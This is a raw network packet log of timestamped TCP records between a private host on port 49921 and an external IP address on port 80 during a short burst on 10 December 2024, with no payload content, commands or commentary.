Dec 10, 2024 05:10:44.742003918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.743120909 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.743690968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.743735075 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.745336056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.745383024 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.745395899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.745429993 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.746997118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.747052908 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.747127056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.748646975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.748707056 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.750282049 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.750292063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.750341892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.751877069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.751975060 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.753509998 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.753570080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.753597021 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.755121946 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.755122900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.755271912 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.756727934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.756779909 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.756855965 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.758322954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.758416891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.758472919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.759977102 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.760087967 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.760679007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.761456013 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.761547089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.762948990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.763015985 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.763103008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.764511108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.764604092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.764688015 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.766072989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.766184092 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.766246080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.767530918 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.767872095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.769153118 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.769217014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.769226074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.770024061 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.770570993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.770658016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.770720005 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.772036076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.772171974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.773526907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.773601055 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.773627996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.775017977 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.775135040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.775161982 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.776201963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.776479006 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.776592016 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.776655912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.777940989 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.778070927 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.778112888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.779400110 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.779534101 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.780781984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.780842066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.780905962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.782246113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.782296896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.782351971 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.783677101 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.783788919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.785105944 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.785162926 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.785196066 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.785979033 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.786021948 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.786081076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.786858082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.786911011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.786961079 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.787118912 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.787738085 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.787844896 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.787903070 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.788635969 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.788721085 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.788760900 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.789521933 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.789613962 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.789915085 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.790368080 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.790415049 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.790474892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.791115046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.791244984 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.791382074 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.791419983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.792133093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.792239904 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.793009996 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.793087959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.793163061 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.793896914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.793958902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.794020891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.794781923 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.794821978 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.794975042 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.795114994 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.795644999 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.795775890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.796514988 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.796576023 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.796583891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.796782017 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.797414064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.797528028 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.798302889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.798356056 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.798397064 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.799113989 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.799138069 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.800906897 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.918823957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.918901920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.918960094 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.918999910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.919271946 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.919369936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.919517040 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.920154095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.920320034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.920368910 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.921010971 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.921058893 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.921118975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.921159983 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.921890974 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.921936035 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.922024012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.922116041 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.922774076 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.922816992 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.922864914 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.922950029 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.923657894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.923775911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.923815012 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.924568892 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.924612045 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.924640894 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.924679995 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.925448895 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.925498962 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.925517082 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.925559044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.926291943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.926337957 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.926384926 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.926424980 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.927164078 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.927282095 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.927328110 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.928061008 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.928170919 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.928217888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.928983927 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.929023027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.929065943 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.929107904 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.929817915 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.929857016 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.929960012 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.930001020 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.930708885 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.930757046 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.930792093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.930944920 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.931579113 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.931685925 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.931745052 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.932432890 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.932496071 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.932550907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.932687998 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.933336973 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.933403015 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.933438063 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.933634996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.934209108 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.934267044 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.934300900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.934374094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.935079098 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.935136080 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.935200930 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.935246944 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.936016083 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.936069012 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.936081886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.936285973 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.936861992 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.936980009 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.937050104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.937799931 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.937855005 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.937861919 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.937891960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.938625097 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.938704014 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.938726902 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.938760996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.939487934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.939605951 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.939613104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.939646959 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.940363884 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.940421104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.940485954 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.940588951 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.941258907 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.941313982 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.941363096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.941845894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.942135096 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.942184925 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.942235947 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.942274094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.943013906 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.943068027 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.943120956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.943317890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.943888903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.943937063 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.944008112 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.944050074 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.944794893 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.944845915 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.944896936 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.945048094 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.945683956 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.945744038 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.945806980 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.945940971 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.946569920 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.946626902 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.946691990 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.946877003 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.947453022 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.947504997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.947531939 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.947572947 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.948335886 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.948383093 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.948411942 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.948587894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.949192047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.949259996 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.949287891 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.949503899 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.950057030 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.950107098 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.950161934 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.950937986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.951035976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.951086998 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.951821089 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.951934099 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.952692986 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.952744007 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.952764034 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.953569889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.953675032 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.953696966 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.953789949 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.954452038 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.954516888 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.954552889 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.955073118 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.955375910 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.955427885 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.955482960 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.956001997 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.956228018 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.956456900 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.956517935 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.957103968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.957170963 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.957206964 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.957417011 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.957974911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.958054066 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.958087921 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.958256960 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.958894968 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.958942890 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.959188938 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.959866047 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.959912062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.959916115 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.959955931 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.960633993 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.960747957 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.960767984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.960786104 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.961515903 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.961577892 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.961612940 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.961750984 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.962372065 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.962421894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.962481976 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.962624073 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.963253975 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.963362932 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.964164019 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.964236975 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.964266062 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.964700937 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:44.964979887 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:44.965146065 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.111022949 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.111099958 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.111157894 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.111349106 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.111495018 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.111540079 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.112258911 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.112310886 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.112365961 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.112538099 CET	49921	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:45.113130093 CET	80	49921	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:45.113178015 CET	49921	80	192.168.2.5	185.215.113.16
